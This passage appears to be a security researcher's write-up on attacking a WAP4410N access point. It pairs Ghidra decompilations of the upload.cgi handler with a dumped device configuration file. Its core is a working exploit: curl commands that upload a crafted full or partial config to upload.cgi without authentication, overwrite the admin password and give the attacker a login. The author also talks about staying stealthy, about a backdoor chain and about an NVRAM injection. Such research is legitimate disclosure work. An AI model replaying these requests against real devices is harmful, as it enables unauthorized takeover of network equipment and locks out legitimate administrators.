  puVar11 = (undefined4 *)0x0;
  if (iVar1 == 0) {
    unlink("/var/wap4410n.img");
  }
  iVar1 = access("/var/wap4410n.cfg",0);
  if (iVar1 == 0) {
    unlink("/var/wap4410n.cfg");
  }
  iVar1 = access("/var/wap4410n.pem",0);
  if (iVar1 == 0) {
    unlink("/var/wap4410n.pem");
  }
  do {
    if (uVar10 == 0) {
      return 0;
    }
    uVar8 = 0xc000;
    if (uVar10 < 0xc000) {
      uVar8 = uVar10;
    }
    memset(auStack_c028,0,0xc000);
    iVar1 = dataRead(auStack_c028,uVar8);
    puVar7 = local_c0a8;
    local_28 = 0;
    uVar10 = uVar10 - iVar1;
    puVar9 = (undefined4 *)((int)auStack_c028 + iVar1);
    puVar2 = puVar7;
    if (DAT_100001e0 == '\0') {
      puVar2 = (undefined4 *)fileTypeGet(auStack_c028,puVar9);
      if ((puVar2 == (undefined4 *)0x0) || (iVar1 = fileUpldBufferInit(DAT_100002a0), iVar1 < 0)) {
        FUN_004018a4(uVar10);
        return 0xffffffff;
      }
      fileUpldToFileBufferFree();
      sc_dbg("%s():%d:upldFile=%s fileSize=%d\n","upldFileRead",0x1b4,&DAT_100001e0,DAT_100002a0);
    }
    if (puVar11 == (undefined4 *)0x0) {
      puVar11 = (undefined4 *)boundFind(puVar2,(int)puVar9 - (int)puVar2,&DAT_10000220);
      if (puVar11 != (undefined4 *)0x0) {
        puVar9 = puVar11;
      }
      if (puVar11 == (undefined4 *)0x0) {
        fileUpldBufferSave(puVar2,(int)puVar9 + (-0x80 - (int)puVar2));
        puVar2 = puVar9 + -0x20;
        do {
          uVar3 = *puVar2;
          uVar4 = puVar2[1];
          uVar5 = puVar2[2];
          uVar6 = puVar2[3];
          puVar2 = puVar2 + 4;
          *puVar7 = uVar3;
          puVar7[1] = uVar4;
          puVar7[2] = uVar5;
          puVar7[3] = uVar6;
          puVar7 = puVar7 + 4;
        } while (puVar2 != puVar9);
      }
      else {
        fileUpldBufferSave(puVar2);
      }
    }
  } while( true );
}

I’m not pretending to grok every line here. This is my usual flow: skim on instincts, follow the interesting branches, and only deep-dive when the trail stalls. From a quick pass, a few things pop, on entry, it proactively deletes three paths under /var/:

  • /var/wap4410n.img
  • /var/wap4410n.cfg
  • /var/wap4410n.pem

Then it streams the upload in chunks, guesses the file type (fileTypeGet), and shovels data into an internal buffer, with some boundary hunting (boundFind) along the way.

Bottom line: the uploader appears to support three uploadable artifacts, a firmware image (.img), a configuration file (.cfg), and a certificate/key bundle (.pem).

Examining unauthenticated uploads

If unauthenticated upload is really on the table, I could just drop in a custom firmware and call it a day. That would give me full control of the device, no question. But let’s be honest, that’s anything but stealthy. A sudden firmware swap would almost certainly reset settings, trigger alarms, or at the very least raise eyebrows.

The thing is, we already have a working exploit chain that plants a backdoor. So instead of going nuclear, why not try something softer? The configuration file looks like a much more subtle angle worth exploring. First step: figure out exactly what that config file is supposed to look like.

Fortunately, the device will happily hand us its own config file. Just hit the “Save Configuration” button in the web GUI, and out comes something like this:

;WAP4410N Configuration File - Version: 2.0.7.4
;MAC address: C4:7D:4F:88:A7:4C
;WPS PIN: 17458399
;The checksum: 880721  

[BASIC]
Host_Name=wap88a74c
Device_Name=wap4410n
Language=en
IP_settings=1 ;0:static; 1:automatic
Ipv4_address=192.168.1.112
Ipv4_subnet_mask=255.255.255.0
IPv4_default_gateway=192.168.1.1
IPv4_Primary_DNS=192.168.1.1
IPv4_Secondary_DNS=0.0.0.0
IPv6=0 ;0:disabled; 1:enabled
IPv6_settings=0 ;0:static; 1:automatic
Ipv6_address=
Ipv6_prefix_length=0
IPv6_default_gateway=
IPv6_Primary_DNS=
IPv6_Secondary_DNS=

[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/10 ;yyyy/mm/dd
Time=15:02:46 ;hh:mm:ss
Time_zone=005-08:00 
;001-12:00: "(GMT-12:00) International Date Line West"
;002-11:00: "(GMT-11:00) Midway Island, Samoa"
;003-10:00: "(GMT-10:00) Hawaii"
;004-09:00: "(GMT-09:00) Alaska"
;005-08:00: "(GMT-08:00) Pacific Time (US & Canada); Tijuana"
;006-07:00: "(GMT-07:00) Arizona"
;007-07:00: "(GMT-07:00) Chihuahua, La Paz, Mazatlan"
;008-07:00: "(GMT-07:00) Mountain Time (US & Canada)"
;009-06:00: "(GMT-06:00) Central America"
;010-06:00: "(GMT-06:00) Central Time (US & Canada)"
;011-06:00: "(GMT-06:00) Guadalajara, Mexico City, Monterrey"
;012-06:00: "(GMT-06:00) Saskatchewan"
;013-05:00: "(GMT-05:00) Bogota, Lima, Quito"
;014-05:00: "(GMT-05:00) Eastern Time (US & Canada)"
;015-05:00: "(GMT-05:00) Indiana (East)"
;016-04:00: "(GMT-04:00) Atlantic Time (Canada)"
;017-04:00: "(GMT-04:00) Caracas, La Paz"
;018-04:00: "(GMT-04:00) Santiago"
;019-03:00: "(GMT-03:00) Newfoundland"
;020-03:00: "(GMT-03:00) Brasilia"
;021-03:00: "(GMT-03:00) Buenos Aires, Georgetown"
;022-03:00: "(GMT-03:00) Greenland"
;023-02:00: "(GMT-02:00) Mid-Atlantic"
;024-01:00: "(GMT-01:00) Azores"
;025-01:00: "(GMT-01:00) Cape Verde Is."
;026+00:00: "(GMT) Casablanca, Monrovia"
;027+00:00: "(GMT) Greenwich Mean Time : Dublin, Edinburgh, Lisbon, London"
;028+01:00: "(GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna"
;029+01:00: "(GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague"
;030+01:00: "(GMT+01:00) Brussels, Copenhagen, Madrid, Paris"
;031+01:00: "(GMT+01:00) Sarajevo, Skopje, Warsaw, Zagreb"
;032+01:00: "(GMT+01:00) West Central Africa"
;033+02:00: "(GMT+02:00) Athens, Beirut, Istanbul, Minsk"
;034+02:00: "(GMT+02:00) Bucharest"
;035+02:00: "(GMT+02:00) Cairo"
;036+02:00: "(GMT+02:00) Harare, Pretoria"
;037+02:00: "(GMT+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius"
;038+02:00: "(GMT+02:00) Jerusalem"
;039+03:00: "(GMT+03:00) Baghdad"
;040+03:00: "(GMT+03:00) Kuwait, Riyadh"
;041+03:00: "(GMT+03:00) Moscow, St. Petersburg, Volgograd"
;042+03:00: "(GMT+03:00) Nairobi"
;043+03:30: "(GMT+03:30) Tehran"
;044+04:00: "(GMT+04:00) Abu Dhabi, Muscat"
;045+04:00: "(GMT+04:00) Baku, Tbilisi, Yerevan"
;046+04:30: "(GMT+04:30) Kabul"
;047+05:00: "(GMT+05:00) Ekaterinburg"
;048+05:00: "(GMT+05:00) Islamabad, Karachi, Tashkent"
;049+05:30: "(GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi"
;050+05:45: "(GMT+05:45) Kathmandu"
;051+06:00: "(GMT+06:00) Almaty, Novosibirsk"
;052+06:00: "(GMT+06:00) Astana, Dhaka"
;053+06:00: "(GMT+06:00) Sri Jayawardenepura"
;054+06:00: "(GMT+06:00) Rangoon"
;055+07:00: "(GMT+07:00) Bangkok, Hanoi, Jakarta"
;056+07:00: "(GMT+07:00) Krasnoyarsk"
;057+08:00: "(GMT+08:00) China, Hong Kong, Australia Western"
;058+08:00: "(GMT+08:00) Irkutsk, Ulaan Bataar"
;059+08:00: "(GMT+08:00) Kuala Lumpur, Singapore"
;060+08:00: "(GMT+08:00) Perth"
;061+08:00: "(GMT+08:00) Taipei"
;062+09:00: "(GMT+09:00) Osaka, Sapporo, Tokyo"
;063+09:00: "(GMT+09:00) Seoul"
;064+09:00: "(GMT+09:00) Yakutsk"
;065+09:30: "(GMT+09:30) Adelaide"
;066+09:30: "(GMT+09:30) Darwin"
;067+10:00: "(GMT+10:00) Brisbane"
;068+10:00: "(GMT+10:00) Canberra, Melbourne, Sydney"
;069+10:00: "(GMT+10:00) Guam, Port Moresby"
;070+10:00: "(GMT+10:00) Hobart"
;071+10:00: "(GMT+10:00) Vladivostok"
;072+11:00: "(GMT+11:00) Magadan, Solomon Ls., New Caledonia"
;073+12:00: "(GMT+12:00) Auckland, Wellington"
;074+12:00: "(GMT+12:00) Fiji, Kamchatka, Marshall ls."
;075+13:00: "(GMT+13:00) Nuku`alofa"
daylight_saving=0 ;0:disabled, 1:enabled
User_Defined_NTP=0 ;0:disabled, 1:enabled
User_NTP=

[Setup_advanced]
Force_Fast_Ethernet=0 ;0:disabled, 1:enabled
Ethernet_Auto_Negotiation=1 ;0:disabled, 1:enabled
Administrative_Port_Speed=0 ;0:10M, 1:100M, 2:1000M
Administrative_Duplex_Mode=1 ;0:Half Duplex, 1:Full Duplex
Bonjour=1 ;0:disabled, 1:enabled
HTTP_Redirect=0 ;0:disabled, 1:enabled
HTTP_Redirect_URL=
802.1x_supplicant=0 ;0:disabled, 1:enabled
Via_mac_authentication=0 ;0:disabled, 1:enabled
Username=
Password=

[Wireless_Basic]
Network_mode=7 ;0:Disable; 1: b only; 2: g only; 3: n only; 4: B/G mixed; 7:B/G/N mixed
Channel=6 ; 0..14; 0: auto channel
SSID1=Lamers Inc
SSID1_broadcast=1 ;0:disabled, 1:enabled
SSID2=
SSID2_broadcast=0 ;0:disabled, 1:enabled
SSID3=
SSID3_broadcast=0 ;0:disabled, 1:enabled
SSID4=
SSID4_broadcast=0 ;0:disabled, 1:enabled

[Radius_Server]
Primary_radius_server=
Primary_port_no=1812
Primary_shared_secret=
Secondary_radius_server=
Secondary_port_no=1812
Secondary_shared_secret=

[Wireless_security_1]
;for SSID1
ssid=Lamers Inc
isolation_between_SSID=1 ;0:disabled, 1:enabled
security_mode=3 ;1: WEP, 2: WPA-Personal, 3: WPA2-Personal, 4: WPA2-Personal Mixed, 5: WPA-Enterprise,
    6: WPA2-Enterprise, 7: WPA2-Enterprise Mixed, 8:RADIUS, 0: Disabled
isolation_within_SSID=0 ;0:disabled, 1:enabled
authentication_type=1 ;0:open system; 1:shared key
encryption=2 ;64: 64 bit WEP, 128:128 bit WEP, 1: TKP, 2: AES, 3: AES+TKIP
Default_Tx_key=1 ; 1..4
key1= ;in Hex
key2= ;in Hex
key3= ;in Hex
key4= ;in Hex
PSK_key=l4m3R5wir3l355 ;in ASCII; The length of the key is from 8 to 64
Key_renew=3600 ;in seconds

[Wireless_security_2]
;for SSID2
ssid=
isolation_between_SSID=1 ;0:disabled, 1:enabled
security_mode=0 ;1: WEP, 2: WPA-Personal, 3: WPA2-Personal, 4: WPA2-Personal Mixed, 5: WPA-Enterprise,
    6: WPA2-Enterprise, 7: WPA2-Enterprise Mixed, 8:RADIUS, 0: Disabled
isolation_within_SSID=0 ;0:disabled, 1:enabled
authentication_type=0 ;0:open system; 1:shared key
encryption=0 ;64: 64 bit WEP, 128:128 bit WEP, 1: TKP, 2: AES, 3: AES+TKIP
Default_Tx_key=0 ; 1..4
key1= ;in Hex
key2= ;in Hex
key3= ;in Hex
key4= ;in Hex
PSK_key= ;in ASCII; The length of the key is from 8 to 63
Key_renew=0 ;in seconds

[Wireless_security_3]
;for SSID3
ssid=
isolation_between_SSID=1 ;0:disabled, 1:enabled
security_mode=0 ;1: WEP, 2: WPA-Personal, 3: WPA2-Personal, 4: WPA2-Personal Mixed, 5: WPA-Enterprise,
    6: WPA2-Enterprise, 7: WPA2-Enterprise Mixed, 8:RADIUS, 0: Disabled
isolation_within_SSID=0 ;0:disabled, 1:enabled
authentication_type=0 ;0:open system; 1:shared key
encryption=0 ;64: 64 bit WEP, 128:128 bit WEP, 1: TKP, 2: AES, 3: AES+TKIP
Default_Tx_key=0 ; 1..4
key1= ;in Hex
key2= ;in Hex
key3= ;in Hex
key4= ;in Hex
PSK_key= ;in ASCII; The length of the key is from 8 to 63
Key_renew=0 ;in seconds

[Wireless_security_4]
;for SSID4
ssid=
isolation_between_SSID=1 ;0:disabled, 1:enabled
security_mode=0 ;1: WEP, 2: WPA-Personal, 3: WPA2-Personal, 4: WPA2-Personal Mixed, 5: WPA-Enterprise,
    6: WPA2-Enterprise, 7: WPA2-Enterprise Mixed, 8:RADIUS, 0: Disabled
isolation_within_SSID=0 ;0:disabled, 1:enabled
authentication_type=0 ;0:open system; 1:shared key
encryption=0 ;64: 64 bit WEP, 128:128 bit WEP, 1: TKP, 2: AES, 3: AES+TKIP
Default_Tx_key=0 ; 1..4
key1= ;in Hex
key2= ;in Hex
key3= ;in Hex
key4= ;in Hex
PSK_key= ;in ASCII; The length of the key is from 8 to 63
Key_renew=0 ;in seconds

[Wireless_Connection_Control_1]
;for SSID1
Connection_Control=0 ;0: disabled, 1:local, 2: Radius
Control_type=1 ;0: allowed the following local mac, 1: prevent the following local mac
Mac_01=
Mac_02=
Mac_03=
Mac_04=
Mac_05=
Mac_06=
Mac_07=
Mac_08=
Mac_09=
Mac_10=
Mac_11=
Mac_12=
Mac_13=
Mac_14=
Mac_15=
Mac_16=
Mac_17=
Mac_18=
Mac_19=
Mac_20=

[Wireless_Connection_Control_2]
;for SSID2
Connection_Control=0 ;0: disabled, 1:local, 2: Radius
Control_type=0 ;0: allowed the following local mac, 1: prevent the following local mac
Mac_01=
Mac_02=
Mac_03=
Mac_04=
Mac_05=
Mac_06=
Mac_07=
Mac_08=
Mac_09=
Mac_10=
Mac_11=
Mac_12=
Mac_13=
Mac_14=
Mac_15=
Mac_16=
Mac_17=
Mac_18=
Mac_19=
Mac_20=

[Wireless_Connection_Control_3]
;for SSID3
Connection_Control=0 ;0: disabled, 1:local, 2: Radius
Control_type=0 ;0: allowed the following local mac, 1: prevent the following local mac
Mac_01=
Mac_02=
Mac_03=
Mac_04=
Mac_05=
Mac_06=
Mac_07=
Mac_08=
Mac_09=
Mac_10=
Mac_11=
Mac_12=
Mac_13=
Mac_14=
Mac_15=
Mac_16=
Mac_17=
Mac_18=
Mac_19=
Mac_20=

[Wireless_Connection_Control_4]
;for SSID4
Connection_Control=0 ;0: disabled, 1:local, 2: Radius
Control_type=0 ;0: allowed the following local mac, 1: prevent the following local mac
Mac_01=
Mac_02=
Mac_03=
Mac_04=
Mac_05=
Mac_06=
Mac_07=
Mac_08=
Mac_09=
Mac_10=
Mac_11=
Mac_12=
Mac_13=
Mac_14=
Mac_15=
Mac_16=
Mac_17=
Mac_18=
Mac_19=
Mac_20=

[VLAN_QoS]
VLAN=0 ;0: disabled, 1:enabled
Default_VLAN_ID=0 ;1..4094
VLAN_Tag=0 ;0:untagged, 1: tagged
AP_Management_VLAN=0 ;1..4094
VLAN_tag_over_WDS=0 ;0: disabled, 1:enabled
WDS_VLAN_List= ;a,b,...,"a" is a VLAN ID. Different IDs divided by ",". 4 VLAN IDs should be set at most
VLAN_ID_4_SSID1=0 ;1..4094
Priority_4_SSID1=0 ;0..7
WMM_4_SSID1=1 ;0: disabled, 1:enabled
VLAN_ID_4_SSID2=0 ;1..4094
Priority_4_SSID2=0 ;0..7
WMM_4_SSID2=0 ;0: disabled, 1:enabled
VLAN_ID_4_SSID3=0 ;1..4094
Priority_4_SSID3=0 ;0..7
WMM_4_SSID3=0 ;0: disabled, 1:enabled
VLAN_ID_4_SSID4=0 ;1..4094
Priority_4_SSID4=0 ;0..7
WMM_4_SSID4=0 ;0: disabled, 1:enabled

[Wireless_Advanced]
802.11d=0 ;0: disabled, 1:enabled
Country_Region=276 ;1702: Asia, 208: Denmark, 1276: Europe, 246: Finland, 250: France, 276: Germany,
         372: Ireland, 380: Italy, 392: Japan, 528: Netherlands, 554: New Zealand, 578: Norway, 
         724: Spain, 752: Sweden, 756: Switzerland, 826: United Kingdom
Channel_bandwidth=1 ;0: auto, 1: 20MHz, 2: 40MHz
Guard_Interval=0 ;0: auto, 1: 400ns, 2: 800ns
CTS_Protection_Mode=0 ;0: disable, 1: auto
beacon_interval=100 ;20..1000
DTIM_interval=1 ;1..255
rts_threshold=2347 ;1..2347
fragmentation_threshold=2346 ;256..2346
Load_balance=0 ;0: disabled, 1:enabled
Load_threshold_4_SSD1=
Load_threshold_4_SSD2=
Load_threshold_4_SSD3=
Load_threshold_4_SSD4=

[AP_Mode]
AP_mode=0 ;0: Access Point, 1: WDS repeater, 2: WDS bridge, 3: Universal bridge, 4: Monitor
MAC1=
MAC2=
MAC3=
MAC4=
Allow_WDS_repeater=0 ;0:disabled, 1: enabled
Universal_repeater=0 ;0:disabled, 1: enabled
Preferred_SSID= ;for universal bridge
No_Security=0 ;1: view it as a rogue AP. 0: don\A1\AFt
No_in_Legal_AP_List=0 ;1: view it as a rogue AP. 0: don\A1\AFt
Legal_AP_List_entry_no=0 ;0..255
Legal_AP=

[Management]
secret_shown=0 ;0: show clear text, 1: just show ********
username=admin
AP_password=5up3r53CR37p422w0rD!
HTTPS_Access=0 ;0:disabled, 1: enabled
Wireless_Web_Access=1 ;0:disabled, 1: enabled
Secure_Shell=1 ;0:disabled, 1: enabled
SNMP=1 ;0:disabled, 1: enabled
Contact=12344567
Device_Name=wap4410n
Location=Sweden
Get_Community=public
Set_Community=private
Trap_Community=public
SNMP_Trusted_Any_Host=1 ;0:disabled, 1: enabled
SNMP_Trusted_Host_start_IP=
SNMP_Trusted_Host_range=255 ;0..255
Trap_Destination=255.255.255.255

[Log]
E-mail_alert=1 ;0:disabled, 1: enabled
SMTP_server=
Email_address_for_logs=
Log_queue_length=20
Log_time_threshold=600
Syslog=0 ;0:disabled, 1: enabled
Syslog_server_IP=
Unathorized_login_attempt=1 ;0:no log, 1: log
Authorized_Login=1 ;0:no log, 1: log
System_error_message=1 ;0:no log, 1: log
Configuration_changes=1 ;0:no log, 1: log

That’s a lot. There are PSKs and passwords in clear text all over the place. Im not even highing my eyebrowse anymore. Let’s just focus on our mission. What if we change the password in this section like this:

[Management]
secret_shown=0 ;0: show clear text, 1: just show ********
username=admin
AP_password=HACKED
HTTPS_Access=0 ;0:disabled, 1: enabled
Wireless_Web_Access=1 ;0:disabled, 1: enabled
Secure_Shell=1 ;0:disabled, 1: enabled
SNMP=1 ;0:disabled, 1: enabled
Contact=12344567
Device_Name=wap4410n
Location=Sweden
Get_Community=public
Set_Community=private
Trap_Community=public
SNMP_Trusted_Any_Host=1 ;0:disabled, 1: enabled
SNMP_Trusted_Host_start_IP=
SNMP_Trusted_Host_range=255 ;0..255
Trap_Destination=255.255.255.255

I put together a modified config file, pwn.cfg and then tested whether it could be uploaded without authentication using a simple curl request.

┌──(root㉿e36886a2fd40)-[/]
└─# curl -i -L \
-H 'Referer: http://192.168.1.112/ConfigManagement.htm' -H 'Expect:' \
-F 'uploadType=config' \
-F '[email protected];filename=wap4410n.cfg;type=application/octet-stream' \
http://192.168.1.112/upload.cgi
HTTP/1.0 302 Found
Location: setup.cgi?next_file=galert.htm

HTTP/1.0 200 OK
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
	
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="description" content="WAP4410N">
<META http-equiv="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<script language="javascript" type="text/javascript" src="msg_en.js"></script>
<script language="javascript" type="text/javascript" src="lang_en.js"></script>
<script language="javascript" type="text/javascript" src="func.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<script language="javascript" type="text/javascript" src="ajax.js"></script>

<script language="javaScript" type="text/javascript">
<!-- Start Script

strHtml='<title>'+titl_galert+'</title>';
dw(strHtml);
strHtml='<LINK REL="stylesheet" TYPE="text/css" HREF="'+css_type+'">';
dw(strHtml);
var r_delayTime = 60000;
function resetProcess()
{
    var delayTime;
    var cf = document.forms[0];
    delayTime=r_delayTime;
     ScreenConvert();
    setTimeout("change_ui()",delayTime);    
}
function change_ui()
{
    var cf = document.forms[0];
	var nextfile="http://192.168.1.112/ConfigManagement.htm";
	var str_location=0;
    ScreenClean();
    str_location=nextfile.indexOf("index.htm");
    str2_location=nextfile.indexOf("login.htm");
    if(str_location > 0 || str2_location > 0)
    	parent.location=nextfile;
    else
    	window.location=nextfile;
}
// End Script -->
</script>
</head>
<body  link="#FFFFFF" vlink="#FFFFFF" alink="#FFFFFF"  onload='resetProcess();'>
	<div id="RightContentArea" style="width:100%;height:100%;overflow:auto;position:relative;">

<form name="alert" method="get">
<table border="0" cellpadding="4" cellspacing="3" width="100%">
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>

<tr>
<td	align="center"><b>
	<script language="javaScript" type="text/javascript">dw(rebmsg);</script>
	</b></td>

</tr>
<tr>
	<td align="center">
		<img src="./ProgressBar_indeterminate.gif"  height="17px" border="0">
		</td>
	
</tr>
</table>
<input type="hidden" name="todo" value="save">
<input type="hidden" name="this_file" value="galert.htm">
<input type="hidden" name="next_file" value="galert.htm">
</form>
</div>
</body>
</html>

Looks like it actually worked… I think. The device suddenly rebooted, and now when I try to log back in…

At first I’m hit with “Invalid username or password.” But when I switch to my new credentials—admin / HACKED, I’m in.

So just like that, we’ve got unauthenticated access to the device. Sure, we could roll with the old backdoor trick here, but there’s a catch. Uploading a full config wipes everything: PSKs, old passwords, custom settings… all gone, with no way to recover them.

But what if we don’t need the whole file? What if we can slip in just a partial config, only the bits we want to change? Something like this:

[Management]
secret_shown=0 ;0: show clear text, 1: just show ********
username=admin
AP_password=PARTIAL_HACKED

This way, nothing gets nuked except the admin password. Let’s put it to the test and re-upload it with the same curl command as before.

┌──(root㉿e36886a2fd40)-[/]
└─# curl -i -L -H 'Referer: http://192.168.1.112/ConfigManagement.htm' -H 'Expect:' -F 'uploadType=config' -F '[email protected];filename=wap4410n.cfg;type=application/octet-stream' http://192.168.1.112/upload.cgi
HTTP/1.0 302 Found
Location: setup.cgi?next_file=galert.htm

HTTP/1.0 200 OK
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
	
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="description" content="WAP4410N">
<META http-equiv="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<script language="javascript" type="text/javascript" src="msg_en.js"></script>
<script language="javascript" type="text/javascript" src="lang_en.js"></script>
<script language="javascript" type="text/javascript" src="func.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<script language="javascript" type="text/javascript" src="ajax.js"></script>

<script language="javaScript" type="text/javascript">
<!-- Start Script

strHtml='<title>'+titl_galert+'</title>';
dw(strHtml);
strHtml='<LINK REL="stylesheet" TYPE="text/css" HREF="'+css_type+'">';
dw(strHtml);
var r_delayTime = 60000;
function resetProcess()
{
    var delayTime;
    var cf = document.forms[0];
    delayTime=r_delayTime;
     ScreenConvert();
    setTimeout("change_ui()",delayTime);    
}
function change_ui()
{
    var cf = document.forms[0];
	var nextfile="http://192.168.1.112/ConfigManagement.htm";
	var str_location=0;
    ScreenClean();
    str_location=nextfile.indexOf("index.htm");
    str2_location=nextfile.indexOf("login.htm");
    if(str_location > 0 || str2_location > 0)
    	parent.location=nextfile;
    else
    	window.location=nextfile;
}
// End Script -->
</script>
</head>
<body  link="#FFFFFF" vlink="#FFFFFF" alink="#FFFFFF"  onload='resetProcess();'>
	<div id="RightContentArea" style="width:100%;height:100%;overflow:auto;position:relative;">

<form name="alert" method="get">
<table border="0" cellpadding="4" cellspacing="3" width="100%">
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>
<tr>
    <td>&nbsp;</td>
</tr>

<tr>
<td	align="center"><b>
	<script language="javaScript" type="text/javascript">dw(rebmsg);</script>
	</b></td>

</tr>
<tr>
	<td align="center">
		<img src="./ProgressBar_indeterminate.gif"  height="17px" border="0">
		</td>
	
</tr>
</table>
<input type="hidden" name="todo" value="save">
<input type="hidden" name="this_file" value="galert.htm">
<input type="hidden" name="next_file" value="galert.htm">
</form>
</div>
</body>
</html>

So far, it looks just like before. The real question is,can we log in with our new password PARTIAL_HACKED?

And the answer is… YES! We’re in.

But here’s the catch: we have to overwrite the admin password to pull it off. Once it’s gone, there’s no way to recover it, and you can bet the real admin will notice when they suddenly can’t log in anymore. Not exactly stealth mode.

So the question becomes: can we do this even quieter?

We already found an injection point via NVRAM earlier. What if the same kind of weakness exists in how these configuration files are processed? Time to head back into Ghidra and take a closer look.

Reverse engineering upload.cgi

First of all we head back to that upload.cgi. There is another function that is called after the upload of the file has completed.


int upldFileCleanup(void)

{
  int iVar1;
  FILE *pFVar2;
  size_t sVar3;
  FILE *__s;
  char *pcVar4;
  undefined4 uVar5;
  int iVar6;
  code *pcVar7;
  char local_4158 [32];
  char acStack_4138 [16384];
  undefined1 local_138;
  char acStack_130 [256];
  int local_30 [2];
  
  local_30[0] = 0;
  iVar1 = strcmp(&DAT_100001e0,"image");
  if (iVar1 == 0) {
    system("/bin/mkdir /tmp/tmp_www");
    system("/bin/cp /tmp/www/galert.htm /tmp/tmp_www/galert.htm");
    system("/bin/cp /tmp/www/gperror.htm /tmp/tmp_www/gperror.htm");
    system("/bin/cp /tmp/www/*.cgi /tmp/tmp_www");
    system("/bin/cp /tmp/www/*.gif /tmp/tmp_www");
    system("/bin/cp /tmp/www/*.css /tmp/tmp_www");
    system("/bin/cp /tmp/www/*.js /tmp/tmp_www");
    system("/bin/echo index.htm > /tmp/next_temp");
    unlink("/tmp/www");
    symlink("/tmp/tmp_www","/tmp/www");
    ledBlink("u10000");
    unlink("/tmp/upld_result");
    COMMAND("/usr/sbin/up_load %s","wap4410n.img");
    do {
      iVar1 = access("/tmp/upld_result",0);
    } while (iVar1 != 0);
    sleep(2);
    pFVar2 = fopen("/tmp/upld_result","r");
    if (pFVar2 != (FILE *)0x0) {
      fscanf(pFVar2,"%d",local_30);
      fclose(pFVar2);
    }
    if (local_30[0] < 0) {
      fileUpldToFileOtherFree();
      showMsgAndExit(1);
      return local_30[0];
    }
    system("/usr/bin/killall -SIGUSR1 mini_httpd");
    iVar1 = open("/var/run/mini_httpd.pid",0);
    if (-1 < iVar1) {
      lseek(iVar1,0,0);
      memset(local_4158,0,0x20);
      read(iVar1,local_4158,0x20);
      iVar6 = 0;
      close(iVar1);
      do {
        pcVar4 = local_4158 + iVar6;
        iVar6 = iVar6 + 1;
        if (9 < (byte)(*pcVar4 - 0x30U)) {
          *pcVar4 = '\0';
          break;
        }
      } while (iVar6 < 0x20);
      iVar1 = atoi(local_4158);
      kill(iVar1,0x10);
    }
    ledBlink(&DAT_004036cc);
    location("setup.cgi?next_file=galert.htm");
    fflush(stdout);
    fileUpldToFileOtherFree();
    pcVar7 = ledBlink;
    pcVar4 = "r";
  }
  else {
    iVar1 = strcmp(&DAT_100001e0,"config");
    if (iVar1 == 0) {
      iVar1 = parseCFG("/var/wap4410n.cfg",0xff,1);
      uVar5 = 2;
      if (iVar1 == 0) {
LAB_00402724:
        showMsgAndExit(uVar5);
        return 0;
      }
      apcfg_submit(2);
      iVar1 = apcfgisIphander();
      if (iVar1 == 0) {
        pcVar4 = "/bin/echo ConfigManagement.htm > /tmp/next_temp&";
      }
      else {
        pcVar4 = "/bin/echo login.htm > /tmp/next_temp&";
      }
      system(pcVar4);
      location("setup.cgi?next_file=galert.htm");
      fflush(stdout);
      fileUpldToFileOtherFree();
      ledBlink(&DAT_00403684);
      apl_set_flag(1);
      pcVar7 = COMMAND;
      pcVar4 = "sleep 2; reboot";
    }
    else {
      iVar1 = strcmp(&DAT_100001e0,"cert");
      if (iVar1 != 0) {
        iVar1 = strcmp(&DAT_100001e0,"extra.htm");
        if (iVar1 != 0) {
          return local_30[0];
        }
        fileUpldBufferFree();
        return local_30[0];
      }
      memset(acStack_4138,0,0x4001);
      memset(acStack_130,0,0x100);
      pFVar2 = fopen("/var/wap4410n.pem","r");
      sVar3 = fread(acStack_4138,1,0x4000,pFVar2);
      local_138 = 0;
      fclose(pFVar2);
      if ((((int)sVar3 < 0x400) ||
          (pcVar4 = strstr(acStack_4138,"-----BEGIN CERTIFICATE-----"), pcVar4 == (char *)0x0)) ||
         (pcVar4 = strstr(acStack_4138,"-----BEGIN RSA PRIVATE KEY-----"), pcVar4 == (char *)0x0)) {
        unlink("/var/wap4410n.pem");
        uVar5 = 3;
        goto LAB_00402724;
      }
      pFVar2 = fopen("/var/certSrv.pem","w+");
      __s = fopen("/var/privkeySrv.pem","w+");
      sVar3 = strlen(acStack_4138);
      fwrite(acStack_4138,1,sVar3,__s);
      pcVar4 = strstr(acStack_4138,"-----BEGIN CERTIFICATE-----");
      if (pcVar4 != (char *)0x0) {
        sVar3 = strlen(pcVar4);
        fwrite(pcVar4,1,sVar3,pFVar2);
      }
      fclose(pFVar2);
      fclose(__s);
      sprintf(acStack_130,"/usr/sbin/check_cert \'%s\' \'%s\' >/dev/null 2>&1","/var/certSrv.pem",
              "/var/privkeySrv.pem");
      iVar1 = system(acStack_130);
      sc_dbg("%s:%d:certfile=%s keyfile=%s ret=%d\n","upldFileCleanup",0x25c,"/var/certSrv.pem",
             "/var/privkeySrv.pem",iVar1);
      if (iVar1 != 0) {
        showMsgAndExit(3);
        return -1;
      }
      apCfgCertSet(acStack_4138);
      apcfg_submit();
      COMMAND("scapply action");
      iVar1 = apcfgisIphander();
      if (iVar1 == 0) {
        pcVar4 = "/bin/echo CertManagement.htm > /tmp/next_temp";
      }
      else {
        pcVar4 = "/bin/echo login.htm > /tmp/next_temp";
      }
